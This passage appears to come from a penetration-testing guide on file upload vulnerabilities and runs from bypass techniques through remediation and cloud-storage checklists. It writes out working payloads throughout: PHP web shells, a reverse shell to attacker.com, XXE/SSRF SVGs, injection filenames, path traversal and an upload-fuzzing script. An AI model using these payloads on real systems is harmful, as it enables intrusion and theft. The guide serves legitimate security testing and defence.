Manipulation242 MIME-Type Manipulation243 Server-Side244 Metadata Injection245 Image Content Manipulation246 Polyglot Techniques247 Path Traversal248 DenyList Bypass249 Magic Byte Forging250 Windows Specific Bypasses (. and ADS)251```252253#### Client-Side Validation Bypasses2542551. **Disabling JavaScript**:256 - Disable JavaScript to bypass client-side checks257 - Use browser developer tools to modify the DOM2582592. **Request Interception**:260 - Intercept and modify upload requests using Burp Suite or ZAP261 - Change file parameters post-validation2622633. **Extension Manipulation Techniques**:264265```266# Null byte injection (for PHP < 5.3.4)267shell.php%00.jpg268shell.php\x00.jpg269270# Using alternate representations271shell.php.....272shell.php;.jpg273shell.php::$DATA.jpg274275# Manipulating request content2761. Upload legitimate image2772. Intercept request2783. Replace file content with shell while keeping filename279```2802814. **MIME-Type Manipulation**:282 - Modify Content-Type header to match expected type283 - Change file signature/magic bytes to appear as legitimate format284285#### Server-Side Validation Bypasses2862871. **Metadata Injection**:288 - Inject code into image metadata (EXIF)289290 ```291 exiftool -Comment="<?php system(\$_GET['cmd']); ?>" payload.jpg292 ```2932942. **Image Content Manipulation**:295 - Create images containing server-side code296297 ```298 # PHP code in GIF file299 GIF89a;300 <?php system($_GET['cmd']); ?>301 ```3023033. **Advanced Polyglot Techniques**:304 - Create files that are valid in multiple formats305306 ```307 # Valid JPG and PHP308 Create JPG with PHP code after the image data309 Add PHP code to EXIF data310 ```3113124. **Path Traversal in Upload Locations**:313314 ```315 filename=../../../tmp/shell.php316 filename=..%2f..%2f..%2ftmp%2fshell.php317 filename=../../etc/passwd/logo.png # Example LFI attempt318 filename=\\attacker-site.com\file.png # UNC Path (Windows specific)319 ```3203215. **Common DenyList Bypass**:322323 ```324 escape "/" with "\/" or "//" with "\/\/"325 try single "/" instead of "//"326 remove http i.e. "continue=//google.com"327 "/\/\" , "|/" , "/%09/"328 encode, slashes329 "./" CHANGE TO "..//"330 "../" CHANGE TO "....//"331 "/" CHANGE TO "//"332 filename=..%2f..%2f..%2ftmp%2fshell.php333 # Check IIS specific extensions if applicable334 filename=shell.cer335 filename=shell.asa336 # Windows specific bypasses337 filename=shell.aspx. # Trailing dot338 filename=shell.php::$DATA # Alternate Data Stream (ADS)339 filename=shell.php:.jpg # ADS confusion340 ```3413426. **GIF Comment Bypass**:343 - Inject payload within GIF comments.344345 ```346 GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;347 ```3483497. **Magic Byte Forging**:350 - Prepend malicious file content with the magic bytes of an allowed file type.351 ```352 # Example: GIF header + PHP shell353 GIF89a;354 <?php echo 'Magic Byte Bypass'; phpinfo(); ?>355 ```356357## Vulnerabilities358359### Common File Upload Vulnerability Patterns360361```mermaid362graph TD363 A[File Upload Vulnerabilities] --> B[Implementation-Specific]364 A --> C[Impact Scenarios]365366 B --> D[CMS Upload Vulnerabilities]367 B --> E[Framework Upload Vulnerabilities]368 B --> F[Language-Specific Vulnerabilities]369370 C --> G[RCE]371 C --> H[XSS]372 C --> I[SSRF]373 C --> J[DoS]374 C --> K[LFI]375```376377#### Implementation-Specific Vulnerabilities3783791. **CMS Upload Vulnerabilities**:380 - **WordPress**: Plugin and theme uploaders381 ```382 Upload plugin ZIP with malicious PHP files383 SVG uploads with XSS in media library384 ```385 - **Drupal**: Module installations386 ```387 Malicious module installation via admin panel388 ```389 - **Joomla**: Template uploads390 ```391 Malicious template installation392 ```3933942. **Framework Upload Vulnerabilities**:395 - **PHP**: File upload handling in common frameworks396 ```397 Laravel file upload middleware bypass398 CodeIgniter upload library misconfiguration399 ```400 - **Java**: Spring MVC file upload handlers401 ```402 Spring MultipartResolver misconfiguration403 ```404 - **ASP.NET**: File upload components405 ```406 ASP.NET FileUpload control misconfiguration407 ```4084093. **Language-Specific Upload Vulnerabilities**:410 - **PHP**: move_uploaded_file() race conditions411 - **Java**: Temporary file creation vulnerabilities412 - **Node.js**: Express-fileupload vulnerabilities413414### Impact Scenarios415416#### Extension Impact Matrix417418Common file extensions and their potential security impacts:419420- **Web Shells & RCE**:421 - `.php`, `.php3`, `.php4`, `.php5`, `.phtml`, `.phar`, `.phpt`422 - `.asp`, `.aspx`, `.ashx`, `.asmx`, `.asa`, `.cer`, `xamlx` (ASP.NET)423 - `.jsp`, `.jspx`, `.jsw`, `.jsv`, `.jspf` (Java Server Pages)424 - `.cfm`, `.cfml`, `.cfc`, `.dbm` (ColdFusion)425 - `.pl`, `.py`, `.rb`, `.cgi`426 - `.htaccess` (if Apache allows override, can reconfigure PHP handling or execute commands)427 - `.config` (web.config for IIS/ASP.NET)428- **Client-Side Attacks**:429 - `.svg`: Stored XSS, SSRF, XXE430 - `.gif`: Stored XSS (via comments), SSRF431 - `.html`, `.js`: HTML injection, XSS, Open redirect, Phishing432 - `.wasm`: WebAssembly modules for client-side code execution433 - `.webp`, `.avif`: Modern image format parser bugs434- **Server-Side Attacks**:435 - `.csv`: CSV injection (Formula Injection)436 - `.xml`: XXE437 - `.avi`, `.mov`: Potential LFI, SSRF (via external streams/subtitles)438 - `.pdf`, `.pptx`: SSRF, Blind XXE (via external entities/references)439 - `.zip`: RCE via LFI (using `zip://` wrapper), DoS (Zip Bomb), Zip Slip (Path Traversal during extraction)440 - `.scf` (Windows Shortcut): RCE (forces NTLM hash disclosure when browsed via UNC path)441- **Denial of Service**:442 - `.png`, `.jpeg`: Pixel flood attack (large dimensions/compressed data)443 - Large filenames: `1234...99.png` (e.g., > 255 chars)444 - Zip bombs (highly compressed archives)445 - Files exploiting parser libraries (ImageTragick, XML bombs)446447#### Remote Code Execution (RCE)448449- **Web Shell Uploading**: Gaining command execution on the server450 ```php451 <?php system($_GET['cmd']); ?>452 ```453- **Reverse Shell Deployment**: Establishing persistent control454 ```php455 <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/443 0>&1'");?>456 ```457458#### File Inclusion Attack Chains459460- **LFI via Uploaded Files**: Chaining local file inclusion with uploads461 ```462 1. Upload malicious file (e.g., `avatar.jpg` containing PHP code).463 2. Trigger inclusion via LFI vulnerability (e.g., `/?page=../../uploads/avatar.jpg`).464 ```465- **LFI via Zip Wrapper**:466 ```467 1. Upload malicious file inside a zip (e.g., `archive.zip` containing `shell.php`).468 2. Trigger inclusion: `/?page=zip://uploads/archive.zip%23shell.php`469 ```470471#### XSS via Uploaded Files472473- **SVG-Based XSS**:474 ```xml475 <?xml version="1.0" standalone="no"?>476 <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">477 <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">478 <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />479 <script type="text/javascript">480 alert("XSS via SVG");481 </script>482 </svg>483 ```484- **GIF Comment XSS**:485 ```486 GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;487 ```488- **HTML/JS File Uploads**:489 ```html490 <!-- If .html or .js uploads are allowed and rendered -->491 <script>492 alert(document.cookie);493 </script>494 ```495- **Filename-Based XSS**:496 ```497 filename="<svg onload=alert(1)>.jpg"498 filename="xss.<svg onload=alert(1)>.jpg"499 ```500501#### Server-Side Request Forgery (SSRF) via Uploads502503- **XXE in SVG Uploads**:504 ```xml505 <?xml version="1.0" standalone="yes"?>506 <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "http://internal.service/resource"> ]>507 <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">508 <text font-size="16" x="0" y="16">&xxe;</text>509 </svg>510 ```511- **SVG Image Href SSRF**:512 ```xml513 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>514 <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">515 <image height="200" width="200" xlink:href="http://internal-metadata-server/latest/meta-data/" />516 </svg>517 ```518- **PDF/PPTX SSRF**: Exploiting features that fetch external resources.519- **Upload from URL Feature**: If the application allows providing a URL for upload, test internal IPs/metadata endpoints.520- **SSRF via Filename**: Submitting a URL as the filename (`filename=http://internal...`).521- **SSRF via HTTP Range Requests**: Manipulating `Range` header during URL fetch.522523#### XXE via Uploads524525- **XML File Upload**: Standard XXE payloads in `.xml` files.526- **SVG File Upload**: See SSRF example above.527- **Excel File Upload (`.xlsx`)**: `.xlsx` files are zip archives containing XML files (like `sharedStrings.xml`) which can be crafted with XXE payloads.528- **PDF/PPTX Blind XXE**: Similar to SSRF, using external entity references.529530#### Open Redirect via Uploads531532- **SVG Open Redirect**:533 ```xml534 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>535 <svg onload="window.location='https://attacker.com'" xmlns="http://www.w3.org/2000/svg">536 <rect width="300" height="100"/>537 </svg>538 ```539540#### Command Injection via Filename541542- If the filename is passed unsanitized to shell commands:543 ```544 filename="; sleep 10;.jpg"545 filename="`sleep 10`.jpg"546 filename="$(sleep 10).jpg"547 ```548549#### SQL Injection via Filename550551- If the filename is used unsanitized in SQL queries:552 ```553 filename="' OR SLEEP(10)-- -.jpg"554 filename="sleep(10)-- -.jpg"555 filename="'sleep(10).jpg" # Different quoting/termination556 ```557558#### Denial of Service (DoS)559560- **Pixel Flood Attack**: Uploading specially crafted images (e.g., `lottapixel.jpg`) that consume excessive resources during processing. ([Reference](https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/file-upload/malicious-images/lottapixel.jpg))561- **Zip Bomb**: Uploading highly compressed archives that expand significantly.562- **Large Filename**: Using extremely long filenames can sometimes cause issues or DoS.563- **Uploading files with content that exploits parsing libraries (e.g., ImageTragick, billion laughs XXE).**564- **Uploading `.eml` files with `Content-Type: text/html` if processed insecurely.**565- **FFmpeg/Video Processing**: Upload crafted video files (`.mp4`, `.avi`, `.mov`) with malicious metadata or subtitles to trigger SSRF/RCE in video converters.566- **HEIC/AVIF Processing**: Exploit parsing bugs in libheif/libavif during thumbnail generation.567- **PDF.js Browser Rendering**: Upload PDFs with malicious annotations or forms that exploit client-side renderers.568569#### Additional Attack Vectors570571##### ImageMagick Vulnerabilities5725731. Using .mvg files for SSRF/LFI:574575```576push graphic-context577viewbox 0 0 640 480578fill 'url(http://attacker.com/)'579pop graphic-context580```5815822. Using the gifoeb tool for memory disclosure:583584```bash585./gifoeb gen 512x512 dump.gif586# Try different extensions:587./gifoeb gen 1123x987 dump.jpg588./gifoeb gen 1123x987 dump.png589# Recover pixels after upload and download:590# for p in previews/*; do ./gifoeb recover $p | strings; done591```592593##### WAF Bypass Techniques5945951. URL Parameter Manipulation:596597```598/?file=xx.php <- Blocked599/?file===xx.php <- Bypassed600```6016022. Content-Type Manipulation with Metadata:603604```bash605exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' shell.jpg606mv shell.jpg shell.php.jpg607```608609### New CVEs610611- **CVE-2024-29510 – Ghostscript ≤ 10.03.0 EPS/JPG RCE**: Exploit via EPS-in-JPG polyglot when Ghostscript is used for image conversion.612- **CVE-2024-53677 – Apache Struts S2-067**: Multipart upload path-traversal leading to RCE.613- **CVE-2024-57169 – SOPlanning ≤ 1.53**: Arbitrary file upload to the web-root.614- **CVE-2024-48514 – php-heic-to-jpg ≤ 1.0.5**: Filename sanitisation bypass resulting in RCE during HEIC conversion.615- Image processing stacks (libvips/Sharp, GraphicsMagick/ImageMagick, Ghostscript, pdfium) continue to receive critical parser bugs; sandbox converters and track advisories.616- HEIC/AVIF conversion pipelines frequently mishandle temporary files and trust `Content-Type`/magic bytes.617- Serverless image proxies (imgproxy, Thumbor, custom Lambda/Cloud Functions) often allow SSRF/LFI via remote URL sources.618619## Methodologies620621### Tools622623#### File Upload Vulnerability Testing Tools624625- **Burp Suite**: Content-Type and request manipulation, Intruder for fuzzing626- **OWASP ZAP**: Automated scanning for upload vulnerabilities627- **ExifTool**: Metadata manipulation for bypass testing628- **Weevely**: Web shell generation tool629- **Fuxploider**: File upload vulnerability scanner ([GitHub](https://github.com/almandin/fuxploider))630- **Upload Scanner (Burp Extension)**: ([PortSwigger BApp Store](https://portswigger.net/bappstore))631- **FUFF / ffuf / wfuzz**: Fuzzing file upload endpoints, extensions, parameters632633#### Custom Testing Scripts634635```python636import requests637from requests_toolbelt.multipart.encoder import MultipartEncoder638639def test_file_upload(target_url, file_path, file_name, content_type):640 """641 Test file upload with custom parameters642 """643 multipart_data = MultipartEncoder(644 fields={645 'file': (file_name, open(file_path, 'rb'), content_type)646 }647 )648649 headers = {650 'Content-Type': multipart_data.content_type651 }652653 response = requests.post(target_url, data=multipart_data, headers=headers)654655 # Return response for analysis656 return {657 'status_code': response.status_code,658 'response_text': response.text,659 'response_headers': dict(response.headers)660 }661662# Example usage:663target = 'https://target.com/upload.php'664test_cases = [665 # Basic tests666 {'path': 'shell.php', 'name': 'legitimate.jpg', 'type': 'image/jpeg'},667 {'path': 'shell.php', 'name': 'shell.php.jpg', 'type': 'image/jpeg'},668 {'path': 'shell.php', 'name': 'shell.php%00.jpg', 'type': 'image/jpeg'},669 {'path': 'shell.php', 'name': 'shell.php%20.jpg', 'type': 'image/jpeg'},670 {'path': 'shell.php', 'name': 'shell.php%0d%0a.jpg', 'type': 'image/jpeg'},671 {'path': 'shell.php', 'name': 'shell.php.blah123jpg', 'type': 'image/jpeg'},672 # Content-type tests673 {'path': 'legitimate.jpg', 'name': 'legitimate.jpg', 'type': 'image/jpeg'},674 {'path': 'shell.php', 'name': 'shell.php', 'type': 'image/jpeg'},675 {'path': 'shell.php', 'name': 'shell.php', 'type': 'image/gif'},676 # Extension tests677 {'path': 'shell.php', 'name': 'shell.phtml', 'type': 'application/x-php'},678 {'path': 'shell.php', 'name': 'shell.PhP', 'type': 'application/x-php'},679 {'path': 'shell.php', 'name': 'shell.php.', 'type': 'application/octet-stream'},680 {'path': 'shell.php', 'name': 'shell.php%20', 'type': 'application/octet-stream'},681]682683for test in test_cases:684 result = test_file_upload(target, test['path'], test['name'], test['type'])685 print(f"Testing {test['name']} ({test['type']}): {result['status_code']}")686```687688### Testing Strategies689690#### Comprehensive File Upload Testing Process6916921. **Discovery Phase**:693 - Map all file upload functionality694 - Identify client-side and server-side validation patterns695 - Document allowed file types and upload restrictions6966972. **Initial Testing Phase**:698 - Test baseline functionality with expected file types699 - Test basic restriction bypasses:700 - Extension manipulation701 - Content-Type manipulation702 - Simple payload attempts7037043. **Advanced Testing Phase**:705 - Test for complex bypass techniques:706 - Polyglot files707 - Metadata injection708 - Race conditions709 - Upload directory traversal7107114. **Exploitation Phase**:712 - Verify code execution for successful uploads713 - Test chained attack scenarios714 - Document impact and attack chains7157165. **Post-Exploitation Testing**:717 - Test upload persistence718 - Test access control on uploaded files719 - Test ability to access uploads across user contexts720721#### Real-World Testing Examples722723##### CMS File Upload Testing7247251. Identify CMS type and version7262. Map file upload functionality (plugins, themes, media)7273. Test bypasses specific to the CMS:728 - WordPress: Plugin installation with malicious PHP729 - Drupal: Module upload with executable code730 - Joomla: Template upload with backdoor7314. Verify code execution732733##### Multi-step Bypass Testing7347351. Attempt standard upload with blocked extension (.php)7362. If blocked, try modification techniques:737 - Double extensions (.jpg.php)738 - Alternate extensions (.phtml, .php5)739 - Case manipulation (.pHP)7403. If still blocked, try content manipulation:741 - Change Content-Type header742 - Modify magic bytes743 - Use polyglot techniques7444. If successful, verify execution path745746##### SVG Upload for XSS Testing7477481. Create malicious SVG:749750```751 <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"/>752```7537542. Upload to target site7553. Access uploaded SVG directly or in context7564. Verify XSS execution757758## Remediation Recommendations759760- **Implement Proper Validation**:761 - Validate file type using content inspection, not just extension762 - Use file signature/magic byte checking763 - Implement allowlist approach for permitted file types AND extensions (Defense in Depth)764765- **Apply Multiple Security Layers**:766 - Implement client-side AND server-side validation767 - Use content-type validation AND extension validation768 - Scan uploaded files with security tools769 - Use separate domains or CDNs for user-uploaded content (reduces XSS risk)770 - Implement proper, restrictive permissions on upload directories (prevent execution)771772- **Store Files Securely**:773 - Store uploaded files outside the web root when possible774 - Use separate domains for user-uploaded content775 - Implement proper permissions on upload directories776777- **Process Uploaded Files**:778 - Remove metadata from images779 - Re-encode/compress uploaded images780 - Strip potentially dangerous content781 - Use random, unpredictable filenames generated by the server (prevents guessing/overwriting)782 - Validate file paths against directory traversal783 - Content Disarm & Reconstruction (CDR): re-encode or convert documents and images on a trusted pipeline before storage or delivery.784 - Sandbox Image/Document Converters: run Ghostscript, ImageMagick, and HEIC libraries under seccomp, Firejail, or bubblewrap to contain 0-days.785 - Supply-Chain Hygiene: track image/document-processing dependencies with an SBOM (e.g., Syft) and enable automated updates via Dependabot or Renovate.786787- **Implement File Upload Best Practices**:788 - Set upload size limits789 - Implement file scanning for malware790 - Use random, unpredictable filenames791 - Validate file paths against directory traversal792793- **Context-Specific Controls**:794 - For image uploads: Validate dimensions and recompress795 - For document uploads: Convert to PDF or other safe format796 - For code uploads: Implement sandbox execution environment or strict validation/linting797798- **HTTP Headers**:799 - For downloaded files, set `Content-Disposition: attachment; filename="user_safe_filename.ext"` to force download prompt.800 - Set `X-Content-Type-Options: nosniff` to prevent browsers from MIME-sniffing the content type away from the declared one.801802### Cloud / Object-Storage Upload Checklist803804- Use presigned URLs with **short TTL (≤ 60 s)** and **single-use** semantics.805- Enforce `bucket-owner-enforced` ACL or **Object Lock** to prevent post-scan overwrites.806- Require **server-side encryption** headers (for example `x-amz-server-side-encryption`) on presigned PUTs.807- Restrict the IAM role used for uploads to **PutObject** only; deny `GetObject` and `DeleteObject` unless required.808- Validate the object key on the backend after upload; reject keys containing `../` or control characters.809- For compute workers processing uploads, enforce **IMDSv2** and limit egress to mitigate SSRF pivots.810811### Cloud/Object Storage Advanced812813- Presigned POST policies: verify policy `conditions` enforce `content-type`, size, and key prefix; reject uploads whose actual `Content-Type` differs at processing time.814- Compute ETag/MD5 checks; reject mismatched `Content-MD5` values; beware S3 multipart ETag semantics for multi-part uploads.815- Scan and quarantine newly uploaded objects before publishing; block overwrites via Object Lock; publish via a separate, read-only bucket.816- Prevent key confusion: disallow keys with `%2f`, unicode homoglyphs, or hidden dot segments that may bypass prefix-only allowlists.817- CDN/image pipeline: disable remote URL sources or restrict to allowlisted domains with DNS pinning; strip metadata and re-encode.818- Enforce V4 signature strictness on presigned URLs; reject headers not in policy; verify expiration on access.819820### Chunked/Streaming and CDN/Image Pipelines821822- HTTP chunked smuggling: proxies may stream parts to backends before full validation; ensure backends validate final file after full receive.823- Parallel/multipart chunk races: verify server holds uploads in a quarantine path until all validations complete; deny direct reads from temp locations.824- Image pipelines with `?url=` sources: treat as SSRF; block private IPs, localhost, and metadata endpoints; enforce DNS rebinding protections.825